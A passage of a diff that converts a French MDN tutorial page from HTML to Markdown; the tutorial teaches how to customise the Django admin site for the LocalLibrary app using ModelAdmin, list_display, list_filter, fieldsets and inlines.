Book Add" src="admin_book_add.png"></p> + -<div class="note"> -<p><strong>Note :</strong> À ce stade, prenez le temps d'enregistrer plusieurs livres, genres et auteurs. Assurez-vous que chacun est associé à plusieurs autres éléments cela rendra vos listes à venir plus riches et intéressantes quand nous aborderons ces sujets.</p> -</div> +À partir de la liste affichée, vous pouvez supprimer des instances en selectionnant les items par les cases à cocher à gauche du titre puis _supprimer..._ dans la liste des actions proposée puis en cliquant sur **Envoyer**. Vous pouvez aussi ajouter des livres en cliquant sur **AJOUTER BOOK**. -<p>Après avoir saisie les informations et ajouté vos livres, cliquez sur le lien <strong>Accueil</strong> pour revenir à la page principale du site d'administration. Cliquez sur le lien <strong>Books</strong> pour afficher la liste des livres enregistrés (ou sur d'autres liens pour voir les autres objets présents en base). Après avoir ajouter quelques livres, votre page devrait ressembler à celle ci-dessous. La liste des livres est affichée par titre ; c'est, en fait, la valeur délivrée par la méthode <code>__str__()</code> du modèle d'objet Book comme cela a été codé dans le précédent chapitre.</p> +Vous pouvez editer un livre en cliquant son nom sur la liste des ouvrages. La page d'édition, image ci-dessous, est proche de celle d'ajout d'un livre. Les principales différences sont le titre de la page (Modification de book, au lieu d'ajout de bbok), l'ajout en rouge du bouton supprimer, l'historique des modifications et voir sur le site. Ce dernier bouton est visible car nous créer la méthode `get_absolute_url()` dans la définition du modèle de données (à ce stade, une erreur sera provoquée si vous cliquez sur ce bouton). -<p><img alt="Admin Site - List of book objects" src="admin_book_list.png"></p> + -<p>À partir de la liste affichée, vous pouvez supprimer des instances en selectionnant les items par les cases à cocher à gauche du titre puis <em>supprimer...</em> dans la liste des actions proposée puis en cliquant sur <strong>Envoyer</strong>. Vous pouvez aussi ajouter des livres en cliquant sur <strong>AJOUTER BOOK</strong>.</p> +Revenez à la page d'accueil (à l'aide du lien **Accueil** du fil d'Ariane), puis affichez les listes des **Authors** et des **Genres**. Vous devriez déjà en avoir créé un certain nombre à partir de l'ajout des nouveaux livres, mais n'hésitez pas à en ajouter d'autres. -<p>Vous pouvez editer un livre en cliquant son nom sur la liste des ouvrages. La page d'édition, image ci-dessous, est proche de celle d'ajout d'un livre. Les principales différences sont le titre de la page (Modification de book, au lieu d'ajout de bbok), l'ajout en rouge du bouton supprimer, l'historique des modifications et voir sur le site. Ce dernier bouton est visible car nous créer la méthode <code>get_absolute_url()</code> dans la définition du modèle de données (à ce stade, une erreur sera provoquée si vous cliquez sur ce bouton).</p> +Ce qui manque actuellement ce sont des _Book Instances_. Vous n'en avez pas car elles ne sont pas créées à partir des objets Books (bien que vous pourriez créer un objet `Book` à partir d'un objet `BookInstance` car c'est la nature de la relation `ForeignKey`). Retournez à la page d'acceuil et cliquez sur le bouton **Ajouter** associé aux objets Book Instance et accéder à l'écran de création. Vous pouvez noter le très grand identifiant unique global utilisé pour identifier séparelment les ouvrages. -<p><img alt="Admin Site - Book Edit" src="admin_book_modify.png"></p> + -<p>Revenez à la page d'accueil (à l'aide du lien <strong>Accueil</strong> du fil d'Ariane), puis affichez les listes des <strong>Authors</strong> et des <strong>Genres</strong>. Vous devriez déjà en avoir créé un certain nombre à partir de l'ajout des nouveaux livres, mais n'hésitez pas à en ajouter d'autres.</p> +Créez plusieurs de ces enregistrements pour chacun de vos livres. Définissez un statut **Available** (_Disponible_) pour certains d'entre eux et **On loan** (_Prêt_) pour d’autres. Pour un statut différent de _Available_, vous devrez préciser une date d'échéance à venir. -<p>Ce qui manque actuellement ce sont des <em>Book Instances</em>. Vous n'en avez pas car elles ne sont pas créées à partir des objets Books (bien que vous pourriez créer un objet <code>Book</code> à partir d'un objet <code>BookInstance</code> car c'est la nature de la relation <code>ForeignKey</code>). Retournez à la page d'acceuil et cliquez sur le bouton <strong>Ajouter</strong> associé aux objets Book Instance et accéder à l'écran de création. Vous pouvez noter le très grand identifiant unique global utilisé pour identifier séparelment les ouvrages.</p> +Nous avons terminé cette étape ! Vous savez comment configurer et utiliser le site d'administration. Vous pouvez continuer à créer des enregistrements pour Book, BookInstance, Genre et Author, que nous pourrons utiliser une fois que nous aurons créé nos propres vues de détail. -<p><img alt="Admin Site - BookInstance Add" src="admin_bookinstance_add.png"></p> +## Configuration avancée -<p>Créez plusieurs de ces enregistrements pour chacun de vos livres. Définissez un statut <strong>Available</strong> (<em>Disponible</em>) pour certains d'entre eux et <strong>On loan</strong> (<em>Prêt</em>) pour d’autres. Pour un statut différent de <em>Available</em>, vous devrez préciser une date d'échéance à venir.</p> +La cadriciel Django réalise une excellente assistance avec la création d'un site d'administration de base en utilisant les données des enregistrements effectués : -<p>Nous avons terminé cette étape ! Vous savez comment configurer et utiliser le site d'administration. Vous pouvez continuer à créer des enregistrements pour Book, BookInstance, Genre et Author, que nous pourrons utiliser une fois que nous aurons créé nos propres vues de détail.</p> +- Pour chaque modèle, les enregistrements sont identifiés par le résultat de la méthode` __str__()`, et les détails sont accessibles par des vues dédiées. Par défaut, ces vues et formulaires disposent d'un menu en haut et vous pouvez opérer des opérations de suppressions en bloc en sélectionnant les enregistrements. +- Le détail de chaque modèle est contenu dans un formulaire où chaque champ est affiché verticalement dans l'ordre de déclaration de ces derniers dans le modèle d'objet. -<h2 id="Configuration_avancée">Configuration avancée</h2> +mais vous avez la possibilité de personnaliser le comportement du site d'administration. Vous allez pouvoir notamment faire : -<p>La cadriciel Django réalise une excellente assistance avec la création d'un site d'administration de base en utilisant les données des enregistrements effectués :</p> +- Des vues en liste -<ul> - <li>Pour chaque modèle, les enregistrements sont identifiés par le résultat de la méthode<code> __str__()</code>, et les détails sont accessibles par des vues dédiées. Par défaut, ces vues et formulaires disposent d'un menu en haut et vous pouvez opérer des opérations de suppressions en bloc en sélectionnant les enregistrements.</li> - <li>Le détail de chaque modèle est contenu dans un formulaire où chaque champ est affiché verticalement dans l'ordre de déclaration de ces derniers dans le modèle d'objet. </li> -</ul> + - Ajouter des champs ou des informations supplémentaires affichés pour chaque enregistrement. + - Ajouter des filtres pour sélectionner les enregistrements répertoriés, en fonction de la date ou d’une autre valeur de sélection (par exemple, le statut du prêt du livre). + - Ajouter des options supplémentaires au menu Actions dans les vues de liste et choisir l'emplacement où ce menu est affiché dans le formulaire. -<p>mais vous avez la possibilité de personnaliser le comportement du site d'administration. Vous allez pouvoir notamment faire :</p> +- Vues détaillées -<ul> - <li>Des vues en liste - <ul> - <li>Ajouter des champs ou des informations supplémentaires affichés pour chaque enregistrement.</li> - <li>Ajouter des filtres pour sélectionner les enregistrements répertoriés, en fonction de la date ou d’une autre valeur de sélection (par exemple, le statut du prêt du livre).</li> - <li>Ajouter des options supplémentaires au menu Actions dans les vues de liste et choisir l'emplacement où ce menu est affiché dans le formulaire.</li> - </ul> - </li> - <li>Vues détaillées - <ul> - <li>Choisir les champs à afficher (ou à exclure), ainsi que leur ordre, leur groupement, leur caractère modifiable, le widget utilisé, leur orientation, etc.</li> - <li>Ajouter des champs associés à un enregistrement pour permettre la modification en ligne (par exemple, ajoutez la possibilité d'ajouter et de modifier des enregistrements de livre lors de la création de leur auteur).</li> - </ul> - </li> -</ul> + - Choisir les champs à afficher (ou à exclure), ainsi que leur ordre, leur groupement, leur caractère modifiable, le widget utilisé, leur orientation, etc. + - Ajouter des champs associés à un enregistrement pour permettre la modification en ligne (par exemple, ajoutez la possibilité d'ajouter et de modifier des enregistrements de livre lors de la création de leur auteur). -<p>Dans la section qui suit, nous allons effectuer quelques modification pour améliorer l'interface de votre application <em>LocalLibrary</em>. Nous allons notamment ajouter des informations pour les objets <code>Book</code> et <code>Author</code>, et améliorer la présentation de leur vue d'édition. Il n'y aura pas de changement pour les objets <code>Language</code> et <code>Genre</code> qui ne possèdent pas assez d'information pour que cela puisse avoir une incidence réelle !</p> +Dans la section qui suit, nous allons effectuer quelques modification pour améliorer l'interface de votre application _LocalLibrary_. Nous allons notamment ajouter des informations pour les objets `Book` et `Author`, et améliorer la présentation de leur vue d'édition. Il n'y aura pas de changement pour les objets `Language` et `Genre` qui ne possèdent pas assez d'information pour que cela puisse avoir une incidence réelle ! -<p>Le détail complet de la personnalisation du site d'administration est disponible <a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/">sur le site documentaire de Django</a>.</p> +Le détail complet de la personnalisation du site d'administration est disponible [sur le site documentaire de Django](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/). -<h3 id="Enregistrer_un_objet_de_la_classe_ModelAdmin">Enregistrer un objet de la classe ModelAdmin</h3> +### Enregistrer un objet de la classe ModelAdmin -<p>Pour modifier la manière d'afficher un objet hérité de la classe Model dans l'interface d'administration, vous devez définir une classe d'objet héritée de la classe ModelAdmin qui décrit l'affichage d'un objet et de l'enregistrer avec votre objet Model.</p> +Pour modifier la manière d'afficher un objet hérité de la classe Model dans l'interface d'administration, vous devez définir une classe d'objet héritée de la classe ModelAdmin qui décrit l'affichage d'un objet et de l'enregistrer avec votre objet Model. -<p>Commençons avec l'objet <code>Author</code>. Éditez le fichier <strong>admin.py</strong> dans le dossier catalog de l'application(concrètement le fichier <strong>/locallibrary/catalog/admin.py</strong>). Commentez la ligne qui vous a permis d'enregistrer l'objet <code>Author</code> :</p> +Commençons avec l'objet `Author`. Éditez le fichier **admin.py** dans le dossier catalog de l'application(concrètement le fichier **/locallibrary/catalog/admin.py**). Commentez la ligne qui vous a permis d'enregistrer l'objet `Author` : -<pre class="brush: js"># admin.site.register(Author)</pre> +```js +# admin.site.register(Author) +``` -<p>Ensuite ajoutez une nouvelle classe d'objets <code>AuthorAdmin</code> et enregistrez-le comme indiqué ci-dessous.</p> +Ensuite ajoutez une nouvelle classe d'objets `AuthorAdmin` et enregistrez-le comme indiqué ci-dessous. -<pre class="brush: python"># Define the admin class +```python +# Define the admin class class AuthorAdmin(admin.ModelAdmin): pass # Register the admin class with the associated model admin.site.register(Author, AuthorAdmin) -</pre> +``` -<p>Ensuite nous allons opérer de manière analogue avec un objet hérité de <code>ModelAdmin</code> pour les objets <code>Book</code>, et <code>BookInstance</code>. À nouveau, nous commentons les enregistrements initiaux :</p> +Ensuite nous allons opérer de manière analogue avec un objet hérité de `ModelAdmin` pour les objets `Book`, et `BookInstance`. À nouveau, nous commentons les enregistrements initiaux : -<pre class="brush: js"># admin.site.register(Book) -# admin.site.register(BookInstance)</pre> +```js +# admin.site.register(Book) +# admin.site.register(BookInstance) +``` -<p>Puis nous créons et enrgistrons les nouveaux modèles. Pour les besoins de l'exercice, nous allons utiliser, pour enregistrer ces modèles, le décorateur <code>@register</code> qui réalise la même opération que la méthode <code>admin.site.register()</code> :</p> +Puis nous créons et enrgistrons les nouveaux modèles. Pour les besoins de l'exercice, nous allons utiliser, pour enregistrer ces modèles, le décorateur `@register` qui réalise la même opération que la méthode `admin.site.register()` : -<pre class="brush: python"># Register the Admin classes for Book using the decorator +```python +# Register the Admin classes for Book using the decorator @admin.register(Book) class BookAdmin(admin.ModelAdmin): pass @@ -188,185 +192,174 @@ class BookAdmin(admin.ModelAdmin): @admin.register(BookInstance) class BookInstanceAdmin(admin.ModelAdmin): pass -</pre> +``` -<p>Pour le moment, toutes les classes d’administration sont vides (cf. pass), par conséquent le comportement d'affichage n'est pas modifié. Cependant, nous allons pouvoir désormais modifier les comportements d'affichage pour chacun des objets nouvellement enregistrés.</p> +Pour le moment, toutes les classes d’administration sont vides (cf. pass), par conséquent le comportement d'affichage n'est pas modifié. Cependant, nous allons pouvoir désormais modifier les comportements d'affichage pour chacun des objets nouvellement enregistrés. -<h3 id="Configurer_les_vues_en_liste">Configurer les vues en liste</h3> +### Configurer les vues en liste -<p>La liste des auteurs (objet <code>Author</code>) est affichée dans l'application <em>LocalLibrary</em> à l'aide du nom généré par la méthode <code>__str__()</code>. Ceci fonctionne bien, judqu'à ce que vous aurez de nombreux auteurs et éventuellement des doublons parmi ces auteurs. Pour bien les différencier, ou simplement parce que vous souhaitez avoir directement plus d'information, vous allez utiliser la directive <a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin">list_display</a> pour ajouter d'autres champs de l'objet <code>Author</code>.</p> +La liste des auteurs (objet `Author`) est affichée dans l'application _LocalLibrary_ à l'aide du nom généré par la méthode `__str__()`. Ceci fonctionne bien, judqu'à ce que vous aurez de nombreux auteurs et éventuellement des doublons parmi ces auteurs. Pour bien les différencier, ou simplement parce que vous souhaitez avoir directement plus d'information, vous allez utiliser la directive [list_display](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin) pour ajouter d'autres champs de l'objet `Author`. -<p>Modifiez votre classe <code>AuthorAdmin</code> comme décrit ci-dessous (vous pouvez copier et coller le code). Les noms de champs à afficher dans la liste sont déclarés dans un tuple dans l'ordre requis. Ils sont identiques à ceux spécifiés dans votre modèle d'objet <code>Author</code>.</p> +Modifiez votre classe `AuthorAdmin` comme décrit ci-dessous (vous pouvez copier et coller le code). Les noms de champs à afficher dans la liste sont déclarés dans un tuple dans l'ordre requis. Ils sont identiques à ceux spécifiés dans votre modèle d'objet `Author`. -<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): +```python +class AuthorAdmin(admin.ModelAdmin): list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') -</pre> +``` -<p>Si vous accèdez à la page d'administration des auteurs, vous devriez obtenir une page équivalente à celle ci-dessous :</p> +Si vous accèdez à la page d'administration des auteurs, vous devriez obtenir une page équivalente à celle ci-dessous : -<p><img alt="Admin Site - Improved Author List" src="admin_improved_author_list.png"></p> + -<p>Pour les livres, nous allons visulaiser les objets <code>Book</code> en affichant les champs <code>author</code> and <code>genre</code>. Le champs <code>author</code> est de type <code>ForeignKey</code> décrivant une relation un à n. En conséquence, nous afficherons l'élément produit par la méthode <code>__str__()</code> de l'objet <code>Author</code> pour l'instance associée à votre livre. Le genre est une relation n à n, donc nous allons avoir à traiter son affichage de manière particulière. Modifiez la classe <code>BookAdmin</code> comme suit :</p> +Pour les livres, nous allons visulaiser les objets `Book` en affichant les champs `author` and `genre`. Le champs `author` est de type `ForeignKey` décrivant une relation un à n. En conséquence, nous afficherons l'élément produit par la méthode `__str__()` de l'objet `Author` pour l'instance associée à votre livre. Le genre est une relation n à n, donc nous allons avoir à traiter son affichage de manière particulière. Modifiez la classe `BookAdmin` comme suit : -<pre class="brush: python">class BookAdmin(admin.ModelAdmin): +```python +class BookAdmin(admin.ModelAdmin): list_display = ('title', 'author', 'display_genre') -</pre> +``` -<p>Le champ genre représente une relation n à n (<code>ManyToManyField</code>) qui ne peut pas être prise en charge par la directive <code>list_display</code>. Le coût d'accès à la base de donnée peut être important et donc le cadriciel se protège de ce phénomène. A la place, nous devons définir une fonction(<code>display_genre</code>) qui permettra de traiter l'affichage des informations souhaitées pour le genre.</p> +Le champ genre représente une relation n à n (`ManyToManyField`) qui ne peut pas être prise en charge par la directive `list_display`. Le coût d'accès à la base de donnée peut être important et donc le cadriciel se protège de ce phénomène. A la place, nous devons définir une fonction(`display_genre`) qui permettra de traiter l'affichage des informations souhaitées pour le genre. -<div class="note"> -<p><strong>Note :</strong> C'est dans un but pédagogique que nous recherchons ici l'affichage du <code>genre</code> qui n'a peut-être pas nécessaire d'intérêt et peut représenter un coût d'accès. Nous montrons, ici, comment appler les fonctions dans vos modèles ce qui sera très utile pour la suite de vos applications — par exemple pour ajouter un lien de suppression de vos enregistrements en liste.</p> -</div> +> **Note :** C'est dans un but pédagogique que nous recherchons ici l'affichage du `genre` qui n'a peut-être pas nécessaire d'intérêt et peut représenter un coût d'accès. Nous montrons, ici, comment appler les fonctions dans vos modèles ce qui sera très utile pour la suite de vos applications — par exemple pour ajouter un lien de suppression de vos enregistrements en liste. -<p>Ajoutez le code ci-dessous dans votre modèle d'objet <code>Book</code> (concrètement dans le fichier <strong>locallibrary/catalog/models.py</strong>). Cette fonction génère une chaîne de caractère contenant les trois premières valeurs de tous les genres (s'ils existent) et créer une courte destription (<code>short_description</code>) qui sera utilisé par le site d'administration avec cette méthode.</p> +Ajoutez le code ci-dessous dans votre modèle d'objet `Book` (concrètement dans le fichier **locallibrary/catalog/models.py**). Cette fonction génère une chaîne de caractère contenant les trois premières valeurs de tous les genres (s'ils existent) et créer une courte destription (`short_description`) qui sera utilisé par le site d'administration avec cette méthode. -<pre class="brush: python"> def display_genre(self): +```python + def display_genre(self): """Create a string for the Genre. This is required to display genre in Admin.""" return ', '.join(genre.name for genre in self.genre.all()[:3]) display_genre.short_description = 'Genre' -</pre> +``` -<p>Après avoir sauvegardé vos fichiers models.py et admin.py, vous pouvez accéder à la page web d'administration des livres et vous y découvrirez une page semblable à celle ci-dessous :</p> +Après avoir sauvegardé vos fichiers models.py et admin.py, vous pouvez accéder à la page web d'administration des livres et vous y découvrirez une page semblable à celle ci-dessous : -<p><img alt="Admin Site - Improved Book List" src="admin_improved_book_list.png"></p> + -<p>Les champs <code>Genre</code> <code>Language</code> ne dispose que d'une seule valeur. Il n'est donc pas utile de créer une page d'affichage spélicale.</p> +Les champs `Genre` `Language` ne dispose que d'une seule valeur. Il n'est donc pas utile de créer une page d'affichage spélicale. -<div class="note"> -<p><strong>Note :</strong> Vous trouverez en fin d'article dans la défis personnel des propositions pour améliorer les ouvrages en prêt <code>BookInstance</code> !</p> -</div> +> **Note :** Vous trouverez en fin d'article dans la défis personnel des propositions pour améliorer les ouvrages en prêt `BookInstance` ! -<h3 id="Ajouter_des_filtres">Ajouter des filtres</h3> +### Ajouter des filtres -<p>Si vous avez beaucoup d'éléments à l'affichage des listes, il devient utile de d'appliquer des filtres pour les afficher. Ceci est réalisé avec l'attribut <code>list_filter</code> de la classe ModelAdmin. Modifier votre classe d'objet d'affichage <code>BookInstanceAdmin</code> avec les code ci-dessous :</p> +Si vous avez beaucoup d'éléments à l'affichage des listes, il devient utile de d'appliquer des filtres pour les afficher. Ceci est réalisé avec l'attribut `list_filter` de la classe ModelAdmin. Modifier votre classe d'objet d'affichage `BookInstanceAdmin` avec les code ci-dessous : -<pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin): -<strong> list_filter = ('status', 'due_back')</strong> -</pre> +```python +class BookInstanceAdmin(admin.ModelAdmin): + list_filter = ('status', 'due_back') +``` -<p>La page de la vue en liste des ouvrages à consultation (BookInstance) est désormais agrémentée d'un bloc de filtrage par statut (champs status) et date de retour (due back). Vous pouvez sélectionner la valeur de ces deux critères de filtrage (remarquez la manière avec laquelle les valeurs des critères est proposée).</p> +La page de la vue en liste des ouvrages à consultation (BookInstance) est désormais agrémentée d'un bloc de filtrage par statut (champs status) et date de retour (due back). Vous pouvez sélectionner la valeur de ces deux critères de filtrage (remarquez la manière avec laquelle les valeurs des critères est proposée). -<p><img alt="Admin Site - BookInstance List Filters" src="admin_improved_bookinstance_list_filters.png"></p> + -<h3 id="Organiser_la_vue_d'affichage_d'un_modèle">Organiser la vue d'affichage d'un modèle</h3> +### Organiser la vue d'affichage d'un modèle -<p>La vue est agencée, par défaut, en affichant verticalement dans l'ordre de déclaration des champs de l'objet modèle. Cette règle d'affichage peut être modifiée en indiquant quels champs afficher (ou exclure) et organiser les informations en sections avec un affichage horizontal ou vertical et les widgets à utiliser.</p> +La vue est agencée, par défaut, en affichant verticalement dans l'ordre de déclaration des champs de l'objet modèle. Cette règle d'affichage peut être modifiée en indiquant quels champs afficher (ou exclure) et organiser les informations en sections avec un affichage horizontal ou vertical et les widgets à utiliser. -<div class="note"> -<p><strong>Note :</strong> Les modèles de l'application <em>LocalLibrary</em> ne sont pas très compliqués sans énormément d'information à traiter. Il n'y a pas un grand besoin de changement d'affichage ; les éléments ci-dessous sont données pour avoir une idée des possibilités et savoir, le moment venu, comment faire.</p> -</div> +> **Note :** Les modèles de l'application _LocalLibrary_ ne sont pas très compliqués sans énormément d'information à traiter. Il n'y a pas un grand besoin de changement d'affichage ; les éléments ci-dessous sont données pour avoir une idée des possibilités et savoir, le moment venu, comment faire. -<h4 id="Contrôler_l'affichage_et_la_dispostion_des_champs">Contrôler l'affichage et la dispostion des champs</h4> +#### Contrôler l'affichage et la dispostion des champs -<p>Modifiez votre classe d'objet <code>AuthorAdmin</code> en ajoutant l'attribut <code>fields</code> comme indiqué en gras ci-dessous :</p> +Modifiez votre classe d'objet `AuthorAdmin` en ajoutant l'attribut `fields` comme indiqué en gras ci-dessous : -<pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): +```python +class AuthorAdmin(admin.ModelAdmin): list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') -<strong> fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')]</strong> -</pre> + fields = ['first_name', 'last_name', ('date_of_birth', 'date_of_death')] +``` -<p>Ce champ (<code>fields</code>) contrôle l'affichage des champs. Les champs déclarés sont affichés verticalement dans l'ordre de déclaration et seront affichés en groupe horizontalement s'ils sont déclarés dans un tuple (c'est le cas pour les date de naissance et de décès des auteurs).</p> +Ce champ (`fields`) contrôle l'affichage des champs. Les champs déclarés sont affichés verticalement dans l'ordre de déclaration et seront affichés en groupe horizontalement s'ils sont déclarés dans un tuple (c'est le cas pour les date de naissance et de décès des auteurs). -<p>La page web de votre application locale devrait ressembler à celle ci-dessous :</p> +La page web de votre application locale devrait ressembler à celle ci-dessous : -<p><img alt="Admin Site - Improved Author Detail" src="admin_improved_author_detail.png"></p> + -<div class="note"> -<p><strong>Note :</strong> Vous pouvez aussi utiliser l'attribut <code>exclude</code> pour identifier des attributs du modèle que vous souhaitez exclure de l'affichage (les autres attributs seront alors affichés). Pour plus de détails vous pouvez consulter la documentation Django sur l'attribut <a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin.exclude">exclude</a>.</p> -</div> +> **Note :** Vous pouvez aussi utiliser l'attribut `exclude` pour identifier des attributs du modèle que vous souhaitez exclure de l'affichage (les autres attributs seront alors affichés). Pour plus de détails vous pouvez consulter la documentation Django sur l'attribut [exclude](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin.exclude). -<h4 id="Organiser_des_sections_dans_votre_vue_de_détail">Organiser des sections dans votre vue de détail</h4> +#### Organiser des sections dans votre vue de détail -<p>Vous avez la possibilité de créer des sections à l'affichage pour regrouper des éléments à renseigner en utilisant l'attribut <a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets">fieldsets</a>.</p> +Vous avez la possibilité de créer des sections à l'affichage pour regrouper des éléments à renseigner en utilisant l'attribut [fieldsets](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.ModelAdmin.fieldsets). -<p>Nous allons utiliser l'objet <code>BookInstance</code> pour mettre en avant cette possibilité. Nous avons à afficher des informations sur l'ouvrage (nom, édition, id) et sur sa disponibilité actuelle ou à venir (statut et retour de prêt). Nous choisissons d'afficher ces éléments dans deux sections différentes, l'une nommée et l'autre pas. Modifiez l'objet BookInstanceAdmin avec le texte en gras comme ci-dessous :</p> +Nous allons utiliser l'objet `BookInstance` pour mettre en avant cette possibilité. Nous avons à afficher des informations sur l'ouvrage (nom, édition, id) et sur sa disponibilité actuelle ou à venir (statut et retour de prêt). Nous choisissons d'afficher ces éléments dans deux sections différentes, l'une nommée et l'autre pas. Modifiez l'objet BookInstanceAdmin avec le texte en gras comme ci-dessous : -<pre class="brush: python">@admin.register(BookInstance) +```python +@admin.register(BookInstance) class BookInstanceAdmin(admin.ModelAdmin): list_filter = ('status', 'due_back') -<strong> fieldsets = ( + fieldsets = ( (None, { 'fields': ('book', 'imprint', 'id') }), ('Availability', { 'fields': ('status', 'due_back') }), - )</strong></pre> + ) +``` -<p>Chaque section peut avoir un titre (ou aucun si vous indiquez la valeur <code>None</code>) et des champs regroupés à l'aide de tuples enregistrés dans un dictionnaire — le schéma de déclaration peut paraître compliqué à décrire mais assez aisé à comprendre à la lecture du code ci-dessus formaté pour être plus compréhensible.</p> +Chaque section peut avoir un titre (ou aucun si vous indiquez la valeur `None`) et des champs regroupés à l'aide de tuples enregistrés dans un dictionnaire — le schéma de déclaration peut paraître compliqué à décrire mais assez aisé à comprendre à la lecture du code ci-dessus formaté pour être plus compréhensible. -<p>Le résultat de cette description devrait vous apparaître de manière analogue à celle présente ci-dessous :</p> +Le résultat de cette description devrait vous apparaître de manière analogue à celle présente ci-dessous : -<p><img alt="Admin Site - Improved BookInstance Detail with sections" src="admin_improved_bookinstance_detail_sections.png"></p> + -<h3 id="Publier_des_enregistrements_associés">Publier des enregistrements associés</h3> +### Publier des enregistrements associés -<p>Parfois, il peut être très utile d'ajouter à l'affichage des éléments associés en même temps. C'est le cas, par exemple, pour les copies d'ouvrage associés à un livre en bibliothèque. Il est utile pour le bibliothécaire de disposer à la fois des informations sur le livre et des copies présentes ou non en rayonnage..</p> +Parfois, il peut être très utile d'ajouter à l'affichage des éléments associés en même temps. C'est le cas, par exemple, pour les copies d'ouvrage associés à un livre en bibliothèque. Il est utile pour le bibliothécaire de disposer à la fois des informations sur le livre et des copies présentes ou non en rayonnage.. -<p>Pour cela, vous pouvez utiliser un d'objet pour un affichage horizontal (<a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a>) ou vertical (<a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.StackedInline">StackedInline)</a> (qui n'est autre que l'affichage standard des données). Modifiez le code associé à votre modèle <code>BookInstance</code> dans le fichier <strong>admin.py</strong> pour disposer des informations <em>inline</em> à l'affichage des informations sur votre objet <code>Book</code>. Gardez en mémoire que c'est l'objet <code>BookAdmin</code> qui gère l'affichage les informations de l'objet <code>Book</code>; c'est donc <code>BookAdmin</code> il doit donc être modifié :</p> +Pour cela, vous pouvez utiliser un d'objet pour un affichage horizontal ([TabularInline](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline)) ou vertical ([StackedInline)](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.StackedInline) (qui n'est autre que l'affichage standard des données). Modifiez le code associé à votre modèle `BookInstance` dans le fichier **admin.py** pour disposer des informations _inline_ à l'affichage des informations sur votre objet `Book`. Gardez en mémoire que c'est l'objet `BookAdmin` qui gère l'affichage les informations de l'objet `Book`; c'est donc `BookAdmin` il doit donc être modifié : -<pre class="brush: python"><strong>class BooksInstanceInline(admin.TabularInline): - model = BookInstance</strong> +```python +class BooksInstanceInline(admin.TabularInline): + model = BookInstance @admin.register(Book) class BookAdmin(admin.ModelAdmin): list_display = ('title', 'author', 'display_genre') -<strong> inlines = [BooksInstanceInline]</strong> -</pre> - -<p>Si vous allez consulter un livre, vous devriez pouvoir, au bas de la page, consulter la liste des copies enregistrées :</p> + inlines = [BooksInstanceInline] +``` -<p><img alt="Admin Site - Book with Inlines" src="admin_improved_book_detail_inlines.png"></p> +Si vous allez consulter un livre, vous devriez pouvoir, au bas de la page, consulter la liste des copies enregistrées : -<p>Dans le cas présent nous avons juste décidé d'afficher toutes les informations des copies associées à un livre. Si vous consultez sur la documentation Django les informations relatives au type <a href="https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline">TabularInline</a> vous aurez accès à l'ensemble des éléments qui permettent de filtrer et afficher les éléments dont vous aurez besoin. </p> + -<div class="note"> -<p><strong>Note :</strong> Il y a quelques limitations pénibles à ces outils. Si vous observez bien la liste des copies pour un ouvrage, vous decouvrirez des copies fantômes sans nom et informations pré-reservées pour de futures instances à enregistrer. Il serait préférable de ne pas les avoir et vous devriez alors appliquer un filtre pour éliminer de l'affichage ces copies. Vous pourriez aussi ajouter une section particulière pour permettre d'ajouter de nouvelles copies dans les rayonnages... La première solution est assez rapide à traiter en utilisant l'attribut <code>extra</code> à 0 dans la définition de l'objet <code>BooksInstanceInline</code> ... essayez !</p> -</div> +Dans le cas présent nous avons juste décidé d'afficher toutes les informations des copies associées à un livre. Si vous consultez sur la documentation Django les informations relatives au type [TabularInline](https://docs.djangoproject.com/fr/2.2/ref/contrib/admin/#django.contrib.admin.TabularInline) vous aurez accès à l'ensemble des éléments qui permettent de filtrer et afficher les éléments dont vous aurez besoin. -<h2 id="Défi">Défi</h2> +> **Note :** Il y a quelques limitations pénibles à ces outils. Si vous observez bien la liste des copies pour un ouvrage, vous decouvrirez des copies fantômes sans nom et informations pré-reservées pour de futures instances à enregistrer. Il serait préférable de ne pas les avoir et vous devriez alors appliquer un filtre pour éliminer de l'affichage ces copies. Vous pourriez aussi ajouter une section particulière pour permettre d'ajouter de nouvelles copies dans les rayonnages... La première solution est assez rapide à traiter en utilisant l'attribut `extra` à 0 dans la définition de l'objet `BooksInstanceInline` ... essayez ! -<p>Beaucoup de sujets ont été abordés dans ce chapitre, c'est l'occasion de les mettre en application :</p> +## Défi -<ol> - <li>Améliorer l'affichage des objets <code>BookInstance</code>, ajoutez les éléments nécessaire pour disposer du livre, du statut de la date de fin de prêt et de l'identifiant au lieu du code unique et du titre donné par la méthode <code>__str__()</code> de l'objet.</li> - <li>Ajouter une information associée pour disposer du détail des informations sur l'auteur. Appuyez vous sur l'exemple avec les objets <code>Book</code>/<code>BookInstance</code> pour y parvenir.</li> -</ol> +Beaucoup de sujets ont été abordés dans ce chapitre, c'est l'occasion de les mettre en application : -<ul> -</ul> +1. Améliorer l'affichage des objets `BookInstance`, ajoutez les éléments nécessaire pour disposer du livre, du statut de la date de fin de prêt et de l'identifiant au lieu du code unique et du titre donné par la méthode `__str__()` de l'objet. +2. Ajouter une information associée pour disposer du détail des informations sur l'auteur. Appuyez vous sur l'exemple avec les objets `Book`/`BookInstance` pour y parvenir. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Beaucoup de sujets ont été abordés dans ce chapitre... Vous avez 